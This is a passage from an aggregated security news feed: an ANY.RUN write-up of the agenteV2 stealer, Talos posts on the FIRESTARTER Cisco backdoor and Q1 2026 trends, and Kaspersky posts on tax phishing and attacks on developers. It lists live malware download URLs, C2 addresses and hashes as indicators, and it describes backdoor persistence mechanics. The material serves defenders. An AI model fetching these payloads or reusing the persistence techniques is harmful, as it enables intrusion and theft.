| https://nuevaprodeciencia.club/br77b/arquivos/download/base.php?LpHQPCBwX=766760 | Configuration / stage data |
| https://nuevaprodeciencia.club/br77b/arquivos/download/reiniciar.exe | Payload: reiniciar.exe (~6.4 MB) |
| https://nuevaprodeciencia.club/br77b/arquivos/download/msedge03.exe | Payload: msedge03.exe |
| https://nuevaprodeciencia.club/br77b/arquivos/download/msedge04.exe | Payload: wifi_driver.exe (served as msedge04.exe) |
| https://nuevaprodeciencia.club/br77b/iayjaskyeiagds.php | C2 initial checkin endpoint (called by VBS loader) |
| https://pastebin.com/raw/0RmxqY57 | Dead-drop resolver C2 IP:port |
| Artifact | Path / Value | Notes |
|---|---|---|
| VBS Loader (delivered) | C:Users*Downloads124_INTMACAO_.vbs | 16,739 bytes obfuscated |
| VBS Loader (decoded) | C:Users*AppDataLocalTemp124_INTMACAO_.vbs | 140,302 bytes runtime-expanded |
| Container binary | C:Program Files (x86)Wi-fiwifi_driver.exe | 13,177,856 bytes onefile bundle |
| Secondary container | C:Program Files (x86)Wi-fireiniciar.exe | 6,685,696 bytes secondary onefile bundle |
| Core stealer DLL | C:Users*AppDataLocalTemponefile_*agenteV2_historico_detect.dll | 27 MB MD5: 826d6350724f203b911aa6c8c4626391 |
| Scheduled Task | RunAsAdmin_AutoUpdate | Executes wifi_driver.exe at logon, /rl highest |
| Scheduled Task | RunAsAdmin_Executar | Executes reiniciar.exe at logon, /rl highest |
| Registry Run | HKCUSoftwareMicrosoftWindowsCurrentVersionRunMonitorSystem | Value: …ONEFIL~1agenteV2_historico_detect.py |
| Install directory | C:Program Files (x86)Wi-fi | Created by malware masquerades as Wi-Fi driver folder |
| Type | Value | Use |
|---|---|---|
| JA3 | a48c0d5f95b1ef98f560f324fd275da1 | Client TLS fingerprint detect agenteV2 regardless of C2 IP rotation |
| JA3S | 15af977ce25de452b96affa2addb1036 | Server TLS response fingerprint |
| JARM | 00000000000000000000000000000000000000000000000000000000000000 | Cloudflare (Pastebin) not C2 fingerprint |
| SID | Message | Meaning |
|---|---|---|
| 2022658 | ET MALWARE Possible Malicious Macro DL EXE (WinHTTPRequest) | EXE download via WinHTTP loader behavior |
| 2029840 | ET HUNTING Request for EXE via WinHTTP M1 | WinHTTP EXE request pattern |
| 2022896 | ET HUNTING SUSPICIOUS Firesale gTLD EXE DL with no Referer | EXE from suspicious TLD without Referer |
| 2019822 | ET INFO WinHttpRequest Downloading EXE | Confirms WinHTTP EXE download |
| 2019823 | ET EXPLOIT_KIT WinHttpRequest Downloading EXE Non-Port 80 | EXE download on non-standard port |
| 85005610 | ET INFO PE EXE or DLL Windows file download HTTP | PE file transfer over HTTP |
| Technique ID | Name | Tactic | Sub-technique | Evidence |
|---|---|---|---|---|
| T1566.001 | Phishing: Spearphishing Attachment | Initial Access | .001 | Judicial lure .eml password-protected PDF + VBS download link |
| T1204.002 | User Execution: Malicious File | Execution | .002 | Victim manually runs 0124_INTMACAO_.vbs |
| T1059.005 | Command & Scripting: VBScript | Execution | .005 | WScript.exe executes VBS loader |
| T1140 | Deobfuscate/Decode Files | Defense Evasion | — | VBS Base64 obfuscation 8.4x size expansion on decode |
| T1027 | Obfuscated Files or Information | Defense Evasion | — | agenteV2 DLL compiled to native code via Nuitka; mypyc aux layer |
| T1036.005 | Masquerading: Match Legit Name | Defense Evasion | .005 | wifi_driver.exe + msedge03/04.exe in C:Program Files (x86)Wi-fi |
| T1105 | Ingress Tool Transfer | C2 | — | VBS downloads container EXEs via MSXML2.ServerXMLHTTP + ADODB.Stream |
| T1053.005 | Scheduled Task/Job | Persistence / Priv. Esc. | .005 | RunAsAdmin_AutoUpdate + RunAsAdmin_Executar /sc onlogon /rl highest |
| T1547.001 | Registry Run Keys | Persistence | .001 | HKCURunMonitorSystem → agenteV2_historico_detect.py |
| T1548.002 | Abuse Elevation: Bypass UAC | Privilege Escalation | .002 | VBS re-executes with /elevated /fromtask |
| T1555.003 | Credentials from Browser | Credential Access | .003 | SQLite DB cloning of Chrome/Edge Login Data + Cookies all browser profiles |
| T1113 | Screen Capture | Collection | — | PIL + mss libraries continuous JPEG frame streaming over WebSocket to operator |
| T1059.001 | Command & Scripting: PowerShell/Shell | Execution | .001 | Remote shell via CMD:SHELL: prefix parsed from WebSocket dispatched through subprocess.Popen |
| T1571 | Non-Standard Port | C2 | — | WebSocket C2 (uws://) over port 8443 non-standard port for WebSocket traffic |
| T1012 | Query Registry | Discovery | — | 84,457 registry reads observed in sandbox |
| T1082 | System Information Discovery | Discovery | — | psutil + WMI: hostname, UUID, OS version, process list |
| T1083 | File and Directory Discovery | Discovery | — | Scans all browser profiles across all user directories |
| T1057 | Process Discovery | Discovery | — | psutil enumerates running processes terminates browsers before DB file access |
| T1518.001 | Security Software Discovery | Discovery | .001 | Queries disk paths for Diebold Warsaw and GbPlugin anti-fraud solutions |
| T1102.001 | Web Service: Dead Drop Resolver | C2 | .001 | pastebin.com/raw/0RmxqY57 resolves to real C2 IP:port |
| T1071.001 | App Layer Protocol: WebSocket | C2 | .001 | Persistent uws:// WebSocket connection to 38.242.246.176:8443 bidirectional real-time C2 |
This campaign targets Brazilian individuals and organizations — anyone who might receive what appears to be an official court summons. The lure is broad (civil conciliation hearing, not targeted spearphishing), meaning any employee in Brazil could be a victim.
Yes. The stealer harvests all browser-saved credentials — not just banking ones — across all Chromium-based browser profiles. Corporate credentials stored in browser password managers (email, SaaS platforms, VPNs, internal portals) are all at risk. Additionally, the malware installs a full remote shell, meaning a successful infection grants the attacker persistent, elevated access to the corporate endpoint regardless of banking activity.
Very quickly. The malware begins beaconing to C2 within approximately 30 seconds of the VBS file being executed. Once the operator’s WebSocket session is established, they can view the victim’s screen in real time. If a banking session is already open in the browser, fraud could occur within minutes. The operator is not automated — they are watching and waiting, which means they will time their intervention to maximize impact (e.g., during an active funds transfer).
Partially. Blocking the known C2 IP prevents beaconing to the current infrastructure, but the Pastebin dead-drop resolver means the attacker can rotate to a new IP simply by editing a public Pastebin page — without touching any already-deployed malware. Blocking the specific Pastebin URL (pastebin.com/raw/0RmxqY57) and monitoring for TLS connections to port 8443 from non-browser processes provides more durable protection. The JA3 fingerprint (a48c0d5f95b1ef98f560f324fd275da1) is particularly valuable as it will detect agenteV2’s TLS handshake regardless of IP rotation.
ANY.RUN’s Interactive Sandbox was used to conduct the full dynamic analysis in this report — providing complete visibility into the infection chain, process trees, API traces, network connections, and registry modifications. For ongoing defense: TI Lookup lets analysts query all IOCs from this report for correlated intelligence; TI Feeds push live indicators into your SIEM/SOAR/EDR for automated blocking; and the YARA rule in section 9.3 can be deployed to automatically detect new agenteV2 variants. The Enterprise suite combines all these capabilities in a unified platform designed for security teams that need to investigate and respond at scale.
The post Inside agenteV2: How Brazilian Attackers Use Fake Court Summons to Steal Banking Credentials in Real Time appeared first on ANY.RUN’s Cybersecurity Blog.
ANY.RUN’s Cybersecurity Blog – Read More
ESET Research has discovered a new China-aligned APT group that we’ve named GopherWhisper, which targets Mongolian governmental institutions
WeLiveSecurity – Read More

Welcome to this week’s edition of the Threat Source newsletter.
If I haven’t said it in a newsletter before, I’ll say it now: If you want to be good at cybersecurity, be a forever student. Cultivating and feeding your desire to know how things work is one of the key ingredients to being a hacker. It’s not always about understanding the micro details, but the macro of how systems work. And not just computers or software or networking systems — those are ecosystems we’re usually quite familiar with — but what about economics? agriculture? material sciences? human behavior? music and art? Do any of those carry any value into this profession?
They damn sure do. Many, many times I have had to branch my technical research into domains that arbitrarily seem to provide no immediate value for technical problems. Learning how maritime insurance fraud works was interesting to me — and a short time later, led to cyber insurance and understanding how risk guides security investment in massive companies. Understanding international agriculture helped me research threat actor targeting and ransomware cartel victimology.
One of the topics I’ve been researching heavily lately is economics, specifically industrial organization. It’s a branch of economics that studies how companies structure production, how markets form around them, and how costs operate at scale. For me, the natural target of my curiosity was Ford Motor Company. Henry Ford didn’t invent the car or the assembly line, but he was darn sure able to build and scale car production in a way that set the standard for all others in that space to emulate. I’ve learned about fixed vs. variable costs, how artisans had their knowledge crystalized within the assembly line process, and how and how amortized costs drove down prices, allowing the Ford Model T to exceed 900,000 units annually by the early 1920s. By that time, more than half of the registered automobiles in the world were Fords. Not half of American cars, half of all cars on Earth.
So what? Well, what took Ford Motor Company 17 years to achieve in cost and ceiling reductions, the AI industry has done in 2.5 years. The rapid and massive influx of investments, fierce competition, and available compute has shown what industrial organization means in a world where AI now almost permeates everything we see and touch. What does this mean for AI replacing jobs? Are we the artisans who move to the frontier of security? What does this mean for enabling threat actors who can move up a step to threatening others with tools developed using an AI corpus already trained on security? There are lots of questions, and to be honest, the future isn’t clear here. One thing is for certain: We can look to the past to understand the future. Henry Ford said it best: “Progress happens when all the factors that make for it are ready, and then it is inevitable.”
As much as we tend to be myopic as security professionals and focus on our tradecraft, we are all part of a series of interconnected systems that lets humanity function. Learning those systems — their quirks, their limitations, and their vulnerabilities — makes you a better hacker. Stay curious, friends.
Cisco Talos Incident Response (Talos IR) is sharing Q1 2026 incident response trends. Phishing has officially reclaimed its crown as the top initial access vector. In a notable first, responders observed adversaries leveraging Softr, an AI-powered web development tool, to rapidly generate credential-harvesting pages. Meanwhile, actual ransomware deployments hit absolute zero this quarter thanks to swift mitigation by Talos IR, though pre-ransomware activity accounted for 18% of engagements this quarter.
The barrier to entry for cybercriminals is plummeting, and they are increasingly using our own tools against us. The use of AI platforms to spin up phishing infrastructure means even unsophisticated actors can launch high-speed, code-free attacks. Furthermore, threat actors are abusing legitimate developer tools like TruffleHog and native cloud APIs to quietly hunt for exposed secrets, making detection incredibly difficult for defenders already struggling with logging gaps.
It’s time to get back to basics and lock down your perimeter. Organizations must implement properly configured multi-factor authentication (MFA), specifically restricting self-service enrollment to stop attackers from registering new devices. Defenders also need to prioritize robust patch management and ensure centralized logging via a SIEM is in place so forensic evidence remains intact. Read the full blog for a deeper dive into this quarter’s trends and adversary tactics.
Third U.S. security expert admits helping ransomware gang
According to the Justice Department, Martino abused his role as a ransomware negotiator for five companies by providing the BlackCat/Alphv cybercrime group with information useful in negotiating a ransom payment. (SecurityWeek)
22 BRIDGE:BREAK flaws expose thousands of Lantronix and Silex serial-to-IP converters
Successful exploitation of the flaws could allow attackers to disrupt serial communications with field assets, conduct lateral movement, and tamper with sensor values or modify actuator behavior. (The Hacker News)
How hackers “trojan-horsed” QEMU virtual machines to bypass security and drop ransomware
In recent incidents, attackers used QEMU, an open-source machine emulator and virtualizer, to run hidden environments where malicious activity remained largely invisible to endpoint defenses and left minimal evidence on the host system. (TechRadar)
Mastodon says its flagship server was hit by a DDoS attack
The cyber attack targeting Mastodon comes days after Bluesky, another decentralized social network, resolved much of its days-long outagesfollowing a lengthy DDoS attack. (TechCrunch)
Exploits turn Windows Defender into attacker tool
Threat actors are using three publicly available proof-of-concept exploits (two are unpatched) to attack Microsoft Defender and turn the security platform’s primary cleanup and protection functions against organizations it is designed to protect. (Dark Reading)
Bad Apples: Weaponizing native macOS primitives for movement and execution
Talos documented several macOS living-off-the-land (LOTL) techniques, demonstrating that native pathways for movement and execution remain accessible to those who understand the underlying architecture.
AI phishing, fake CAPTCHA, and real-world cyber threat trends
The Talos team breaks down findings from Q1 2026 — including phishing returning as the top initial access vector, and how attackers are using AI tools to build credential harvesting campaigns in almost no time at all.
UAT-4356’s targeting of Cisco Firepower devices
UAT-4356 exploited n-day vulnerabilities (CVE-2025-20333 and CVE-2025-20362) to gain unauthorized access to vulnerable devices, where the threat actor deployed their custom-built backdoor dubbed “FIRESTARTER.”
SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507
MD5: 2915b3f8b703eb744fc54c81f4a9c67f
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507
Example Filename: VID001.exe
Detection Name: Win.Worm.Coinminer::1201
SHA256: 96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974
MD5: aac3165ece2959f39ff98334618d10d9
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974
Example Filename: d4aa3e7010220ad1b458fac17039c274_63_Exe.exe
Detection Name: W32.Injector:Gen.21ie.1201
SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59
Example Filename: APQ9305.dll
Detection Name: Auto.90B145.282358.in02
SHA256: 5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe
MD5: a2cf85d22a54e26794cbc7be16840bb1
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe
Example Filename: a2cf85d22a54e26794cbc7be16840bb1.exe
Detection Name: W32.5E6060DF7E-100.SBX.TG
SHA256: 3c1dbc3f56e91cc79f0014850e773a7f12bbfef06680f08f883b2bf12873eccc
MD5: d749e0f8f2cd4e14178a787571534121
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=3c1dbc3f56e91cc79f0014850e773a7f12bbfef06680f08f883b2bf12873eccc
Example Filename: KitchenCanvas_753447.exe
Detection Name: W32.3C1DBC3F56-90.SBX.TG
Cisco Talos Blog – Read More
In many countries, spring is the traditional time for filing income tax returns. These documents are a goldmine for bad actors because they contain a wealth of personal data, such as employment history, income, assets, bank account details — the list goes on. It’s no surprise that scammers ramp up their efforts around this time; the internet is currently crawling with fake websites designed to look exactly like government resources and tax authorities.
With deadlines looming and numbers to crunch, the rush to get everything done in good time can cause people to let their guard down. In the shuffle, it’s easy to miss the signs that the site where you’re detailing your finances has zero connection to the revenue service, or that the file you just downloaded, supposedly from a tax inspector, is actually malware.
In this post, we break down how these fraudulent tax agency sites operate across different countries and what you should absolutely avoid doing to keep your money and sensitive information safe.
This season, attackers have been spoofing tax authority websites across numerous countries, including the official government portals of Germany, France, Austria, Switzerland, Brazil, Chile, and Colombia. On these fraudulent sites, scammers harvest credentials for legitimate services, and steal personal data before offering to process a tax deduction — provided the victim enters their credit card details. In some cases, they even charge a fee for this fraudulent service.
A site imitating the Chilean tax authority. The victim is prompted to enter their credit card information to receive a substantial tax refund — roughly US$375. Instead, the funds are siphoned from the victim’s account directly to the scammers
Sometimes, the tactic involves accusations issued on behalf of government bodies. In the image below, for example, a “head of tax audit” in Paris informs the victim that they provided incomplete income information. To avoid penalties, the user is told to download a document and make corrections immediately. However, the PDF file hides something much worse: malware.
Instead of an official document from the French tax service, the user finds malware waiting inside the PDF
In Colombia, a fake National Directorate of Taxes and Customs site similarly prompts users to download documents that must be “unlocked with a security key”. In reality, this is simply a password-protected, malicious ZIP archive.
Beyond phishing sites mimicking legitimate resources, our experts have discovered fraudulent websites promising paid services for filling out and auditing tax documents — and stealing high-value data, such as taxpayer identification numbers (TINs), instead.
Cryptocurrency holders have emerged as a specific target for attackers. Fake German tax authorities are demanding that wallet owners “verify their digital asset holdings”, citing EU regulations for tax calculation purposes. And of course, there’s a “silver lining”: it turns out crypto earnings are supposedly tax-exempt! However, to claim this generous benefit, users must go through a “verification” procedure. The site even promises to encrypt data using a “2048-bit SSL protocol”.
To complete the “verification” process, users are prompted to enter their seed phrase — the unique sequence of words tied to a crypto wallet that grants full recovery access. This request is paired with a threat: refusing to provide the data will lead to serious legal consequences, such as fines up to one million euros or criminal prosecution.
Attackers pulled a similar stunt on French users as well. They created a non-existent “Crypto Tax Compliance Portal”, which mimics the design of the French Ministry of Economy and Finance website. The phishing site aggressively demands that French residents submit a “digital asset declaration”.
After the user enters their personal information, the scammers prompt them to either manually enter their seed phrase, or “link” their crypto wallet to the portal. If they go through with this, their MetaMask, Binance, Coinbase, Trust Wallet, or WalletConnect wallets will be drained.
When you have AI at your fingertips that can instantly generate text and fill out spreadsheets, there’s a serious temptation to delegate everything to it. Unfortunately, this can lead to serious consequences. First, all popular chatbots process your data on their servers, which puts your sensitive information at risk of a leak. Second, they sometimes make incredibly foolish mistakes, and that can lead to actual trouble with the taxman.
Before you tell a chatbot or an AI agent how much money you made last year — complete with detailed personal and banking info — remember how frequently leaks occur within AI-powered services and consider the risks. Don’t discuss your income with AI, don’t give it personal details like your name or address, and under no circumstances should you upload photos or numbers of vital documents such as passports, insurance info, or social security numbers. Files containing confidential information should be kept in encrypted containers, such as Kaspersky Password Manager.
If you’re still determined to use AI tools, run them locally. This can be done for free even on a standard laptop, and we’ve previously covered how to set up local language models using DeepSeek as an example. However, the quality of the output from these models is often subpar. It’s quite possible that double-checking every digit in an AI-generated response will take more time than just filling out the paperwork manually. Remember, you’re the one accountable to the tax office for any errors — not the AI.
Finally, watch out for phishing AI models that offer “assistance” with tax filing. Kaspersky experts have discovered websites where users are prompted to upload tax invoices, supposedly for the automated generation of returns and deduction claims. Instead, attackers collect this personal data to resell on the dark web, or to use in future phishing attacks, blackmail, and extortion schemes.
The creators of a fake AI tool prompt users to upload tax documents, and kindly assure them that the site doesn’t store any user data. In reality, every piece of information entered — name, address, documents, contact person, phone number — ends up in the hands of cybercriminals
Remember that all legitimate AI services explicitly warn users not to share confidential data, and tax documents certainly fall into this category. Any AI tools promising to help you handle your tax paperwork are quite simply a scam.
Further reading on phishing and data security:
Kaspersky official blog – Read More

Cisco Talos is aware of UAT-4356‘s continued active targeting of Cisco Firepower devices’ Firepower eXtensible Operating System (FXOS). UAT-4356 exploited n-day vulnerabilities (CVE-2025-20333 and CVE-2025-20362) to gain unauthorized access to vulnerable devices, where the threat actor deployed their custom-built backdoor dubbed “FIRESTARTER.” FIRESTARTER considerably overlaps with the technical capabilities of RayInitiator’s Stage 3 shellcode that processes incoming XML-based payloads to endpoint APIs.
In early 2024, Cisco Talos attributed ArcaneDoor, a state-sponsored campaign focused on gaining access to network perimeter devices for espionage, to UAT-4356.
Customers are advised to refer to Cisco’s Security Advisory for mitigation and detection guidance, indicators of compromise (IOCs), affected products, and applicable software upgrade recommendations.
FIRESTARTER is a malicious backdoor implanted by UAT-4356 that allows remote access and control to execute arbitrary code inside the LINA process, a core component of Cisco’s ASA and FTD appliances running FXOS.
UAT-4356 established persistence for FIRESTARTER on compromised devices by manipulating the mount list for Cisco Service Platform (CSP), namely “CSP_MOUNT_LIST”, to execute FIRESTARTER. The mount list allows programs and commands to be executed as part of the device’s boot sequence. The persistence mechanism triggers during graceful reboot (i.e., when a process termination signal is received). FIRESTARTER also checks the runlevel for value 6 (indicating device reboot) and in case of a match, writes itself to backup location “/opt/cisco/platform/logs/var/log/svc_samcore.log” and updates the CSP_MOUNT_LIST to copy itself back to “/usr/bin/lina_cs” and then be executed. When FIRESTARTER runs after a reboot, it restores the original CSP_MOUNT_LIST and removes the trojanized copy. Because the runlevel triggers establishment of this transient persistence mechanism, a hard reboot (for example, after the device has been unplugged from power) effectively removes the implant from the device.
FIRESTARTER has used the following commands to establish persistence for itself using the transient persistence mechanism:

When the implant injects itself into the LINA process, it removes the traces of its persistence mechanism by restoring the CSP_MOUNT_LIST from a temporary copy (“CSP_MOUNTLIST.tmp”), then removing the temporary copy and the FIRESTARTER file from disk (“/usr/bin/lina_cs”).
FIRESTARTER can run arbitrary shellcode received by the device. A pre-defined handler function specified by a hardcoded offset in the LINA process’ memory is replaced by an unauthorized handler routine that parses the data being served to it. FIRESTARTER specifically looks for a WebVPN request XML. If the request data received matches a specific pattern of custom-defined prefixing then the shellcode that immediately follows it is executed in memory. If the prefixing bytes are not found, then the data is treated as regular request data and passed to the original handler function (if any).
FIRESTARTER’s loading mechanism, Stage 2 shellcode (i.e., the actual request handler component), handler function replacement, XML parsing for magic bytes, and final payload execution display considerable overlaps with RayInitiator’s Stage 3 deployment actions and accompanying artifacts.
FIRESTARTER first reads the LINA process’ memory to search for and verify the presence of the bytes (long) 0x1, 0x2, 0x3, 0x4, 0x5 at specific locations in memory. If found, FIRESTARTER will then query the process’ memory to find an “r-xp” memory range for the shared library “libstdc++.so”. It then copies the next stage shellcode (Stage 2) to the last 0x200 bytes of the memory region. FIRESTARTER then overwrites an internal data structure in the LINA process’ memory to replace a pointer to a WebVPN-specific, legitimate XML handler function with the address of the malicious Stage 2 shellcode.
The malicious shellcode is triggered as part of the authentication API’s request handling process and parses the incoming request data for magic markers signifying an executable payload. If found, the executable payload is then executed on the compromised device.
The presence of the following artifacts – specifically the filenames “lina_cs” and “svc_samcore.log” – though somewhat brittle indicators, may indicate the presence of the FIRESTARTER on a Firepower device:
For more comprehensive detection guidance, please refer to Cisco’s Security Advisory here. Please also refer to CISA’s update to V1: Emergency Directive (ED) 25-03: Identify and Mitigate Potential Compromise of Cisco Devices and FIRESTARTER Backdoor Malware Analysis Report for more information and guidance.
We recommend that Cisco customers follow the steps recommended in Cisco’s advisory, with particular attention to any applicable software upgrade recommendations. Organizations impacted can initiate a TAC request for Cisco support.
A FIRESTARTER infection may be mitigated on all affected devices by reimaging the devices.
On Cisco FTD software that is not in lockdown mode, there is also the option of killing the lina_cs process then reloading the device:
> expert $ sudo kill -9 $(pidof lina_cs) $ exit > reload
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
The following Snort rules cover the vulnerabilities CVE-2025-20333 and CVE-2025-20362: 65340, 46897.
Snort rules covering FIRESTARTER: 62949
The following ClamAV signatures detect this threat: Unix.Malware.Generic-10059965-0
Cisco Talos Blog – Read More
Lately, hackers have been turning up the heat on software developers. On the surface, this might seem like a puzzling move — why go after someone who’s literally paid to understand tech when there are plenty of less-savvy targets in the office? As it turns out, compromising a developer’s machine offers a much bigger payoff for an attacker.
For starters, compromising a coder’s workstation can give attackers a direct line to source code, credentials, authentication tokens, or even the entire development infrastructure. If the company builds software for others, a hijacked dev environment allows attackers to launch a massive supply chain attack, using the company’s products to infect its customer base. If the developer works on internal services, their machine becomes a perfect beachhead for lateral movement, allowing hackers to spread deeper into the corporate network.
Even when attackers are purely chasing cryptocurrency (and let’s face it, tech pros are much more likely to hold crypto than the average person), the malware used in these hits doesn’t just swap out wallet addresses; it vacuums up every scrap of valuable data it can find — especially those login credentials and session tokens. Even if the original attackers don’t care about corporate access, they can easily flip those credentials to initial access brokers or more specialized threat actors on the dark web.
In practice, developers aren’t nearly as good at understanding cyberthreats and spotting social engineering as they think they are. This misconception is a big reason why they often fall prey to cybercriminals. Professional expertise can often create a false sense of digital invincibility. This often leads technical professionals to cut corners on security protocols, bypass restrictions set by the security team, or even disable security software on their corporate machines when it gets in the way of their workflow. That mindset, combined with a job that requires them to constantly download and run third-party code, makes them sitting ducks for cyberattackers.
Once an attacker sets their sights on a software engineer, their go-to move is usually finding a way to slip malicious code onto the machine. But that’s just the tip of the iceberg — hackers are also masters at rebranding classic, battle-tested tactics.
One of the most common ways to hit a developer is by poisoning open-source software. We’ve seen a flood of these attacks over the past year. A prime example hit in March 2026, when attackers managed to inject malicious code into LiteLLM, a popular Python library hosted in the PyPI repository. Because this library acts as a versatile gateway for connecting various AI agents, it’s baked into a massive number of projects. These trojanized versions of LiteLLM delivered scripts designed to hunt for credentials across the victim’s system. Once stolen, that data serves as a skeleton key for attackers to infiltrate any company that was unlucky enough to download the infected packages.
Every so often, attackers post enticing job openings for developers, complete with take-home test assignments that are laced with malicious code. For instance, in late February 2026, malicious actors pushed out web application projects built on Next.js via several malicious repositories, framing them as coding tests. Once a developer cloned the repo and fired up the project locally, a script would trigger automatically to download and install a backdoor. The attackers gained full remote access to the developer’s machine.
Recently, our experts described an attack where hackers used paid search-engine ads to push malware disguised as popular AI tools. One of the primary baits was Claude Code, an AI coding assistant. This campaign specifically targeted developers looking for a way to use AI-assistants under the radar, without getting the green light from their company’s infosec team. The ads directed users to a malicious site that perfectly mimicked the official Claude Code documentation. It even included “installation instructions”, which prompted the user to copy and run a command. In reality, running that command installed an infostealer that harvested credentials and shuttled them off to a remote server.
That said, attackers often stick to the basics when trying to plant malware. A recent investigation into a compromised npm package — Axios — revealed that hackers had gained access to a maintainer’s system using a shockingly simple “outdated software” ruse. The attackers reached out to the Axios repository maintainer while posing as the founder of a well-known company. After some back-and-forth, they invited him to a video interview. When the developer tried to join the meeting on what looked like Microsoft Teams, he hit a fake notification claiming his software was out of date and needed an immediate update. That “update” was actually a Remote Access Trojan, giving the attackers access to his machine.
Sometimes, even a blast of fake notifications does the trick, especially when it’s tailored to the audience. For example, just recently, attackers were caught posting fake alerts in the Discussions tabs of various GitHub projects, claiming there was a critical vulnerability in Visual Studio Code that required an immediate update. Because developers subscribed to those discussions received these alerts directly via email, the notifications looked like legitimate security warnings. Of course, the link in the message didn’t lead to an official patch; it pointed to a “fixed” version of VS Code that was actually laced with malware.
To minimize the risk of a breach, companies should lean into the following best practices:
Kaspersky official blog – Read More
ANY.RUN has expanded access to Threat Intelligence capabilities for SOC and MSSP teams, backed by live attack data from 15,000 organizations.
Here’s how your team can test TI’s impact on triage quality, response speed, and threat hunting workflows.
ANY.RUN now offers 20 premium requests in Threat Intelligence Lookup and YARA Search as part of the Free plan.
You can get immediate threat context for over 40 types of IOCs, IOBs, and IOAs belonging to the latest malware & phishing attacks. All data is sourced from real sandbox investigations by ANY.RUN’s community of 15,000 organizations and 600,000 security analysts and experts.

AI-assisted search is available directly in the query flow, allowing analysts to use natural language and move from question to results without manual query building.
With this expanded access, SOC and MSSP teams can explore Threat Intelligence capabilities in their workflows and see how it affects core SOC processes for faster and more confident operations:
This directly impacts key SOC metrics, including reduced time per investigation, lower escalation rates, and faster Mean Time to Respond.
To speed up investigations and simplify how analysts work with Threat Intelligence, TI Lookup now includes AI-assisted search directly in the search bar.

Analysts can use natural language to query data, while the system automatically translates requests into structured queries with the correct parameters and wildcards.
This removes time spent on query construction and reduces friction in the workflow. Analysts move faster from alert to context, run more queries in less time, and get consistent results without additional steps.
Threat intelligence becomes truly valuable when it integrates into everyday operations. Here’s how it reinforces the three pillars of any SOC.
Alert volume is the defining operational challenge for most SOC teams. The ability to validate an alert quickly and to make a confident decision about whether to close it or escalate directly determines how efficiently a team can operate.
With ANY.RUN’s threat intelligence, analysts can immediately check an incoming indicator against a broad base of real-world attack data. Known-malicious infrastructure, recognized malware patterns, and previously documented campaigns can be matched in seconds. This means:

Analysts spend less time on inconclusive alerts and more time on confirmed threats. With documented context to support every decision.
Once an incident is confirmed, speed and precision matter. The quality of the response depends on how well the team understands the threat: its connections, its infrastructure, its behavioral patterns, and its likely next moves. Two clicks in TI Lookup search results cited above take your analyst to a sandbox session of malware detonation and attack chain exposure:

ANY.RUN’s threat intelligence enables response teams to map the relationships between indicators and the broader campaigns or actor groups behind them. Shared infrastructure, overlapping TTPs, and connected artifacts can be identified quickly, giving responders a structural understanding of what they are dealing with, not just a list of individual indicators.
This translates into:
Overreaction and underreaction are reduced at the same time. The response becomes targeted, not reactive.
Proactive threat hunting requires the ability to test hypotheses against real-world data. Analysts need to move from a suspicion about adversary behavior to a confirmed or refuted finding with enough evidence to act.
ANY.RUN’s threat intelligence gives hunters access to a rich, searchable base of behavioral data from real-world malware analysis. Campaign linkages, attacker infrastructure patterns, and behavioral signatures can all be researched in depth.

YARA Rules Search adds a further dimension, allowing hunters to build and validate detection logic against current threat data.
The result is a hunting capability that is grounded in current, real-world evidence rather than theoretical models. It enables teams to find genuine threats and build detection coverage that reflects how adversaries actually behave. Hunting shifts from speculative to evidence-driven.
Behind every alert, investigation, and response action, there is a business impact quietly accumulating.
The Free plan is a genuine starting point: a full-capability evaluation that lets teams verify the value of ANY.RUN’s intelligence on real workflows. For organizations ready to operationalize threat intelligence at scale, ANY.RUN offers paid plans designed for different operational needs.

These include Live, Core, and Complete plans, allowing teams to choose the level of access and integration that fits their workflows and scale.
Across these plans, organizations can leverage the full set of threat intelligence capabilities, including:
1. Threat Intelligence Feeds
Continuous streams of validated indicators enriched with behavioral context from the sandbox analyses, delivered directly into SIEM, EDR, IDS/IPS, and SOAR systems. This enables automated enrichment and faster detection pipelines.
2. Threat Intelligence Reports: full access
Structured analyses of active campaigns, malware families, and attacker techniques. These reports provide ready-to-use insights for both operational response and strategic planning.

What makes them particularly useful in operations:
Reports act as a bridge between raw telemetry and strategic understanding. They help teams not only react faster, but also recognize patterns before they escalate into incidents.
3. Threat Landscape
A contextual layer that maps threats to industries and geographies, helping organizations understand where specific risks are most relevant to their business.

Together, these capabilities support key business objectives:

The result is a measurable improvement in how security operations contribute to overall business resilience.
The gap between threat detection and effective response is not primarily a technology problem. It is a data problem. When analysts have access to rich, current, contextual intelligence at the moment they need it, decisions improve and outcomes follow.
ANY.RUN’s unified threat intelligence — TI Lookup, TI Feeds, TI Reports, and YARA Search, all powered by real sandbox data from 15,000 organizations — gives SOC and MSSP teams that foundation. The free plan removes the evaluation barrier: any team can run it through real workflows, on real alerts, before committing to anything.
For teams that operationalize it, the cumulative effect is a SOC that is measurably faster, more accurate, and more confident — and an organization that is measurably harder to compromise and cheaper to defend.
ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps security teams investigate threats faster and with greater clarity across modern enterprise environments.
It allows teams to safely execute suspicious files and URLs, observe real behavior in an Interactive Sandbox, enrich indicators with immediate context through TI Lookup, and monitor emerging malicious infrastructure using Threat Intelligence Feeds. Together, these capabilities help reduce investigation uncertainty, accelerate triage, and limit unnecessary escalations across the SOC.
ANY.RUN is trusted by thousands of organizations worldwide and meets enterprise security and compliance expectations. It is SOC 2 Type II certified, demonstrating its commitment to protecting customer data and maintaining strong security controls.
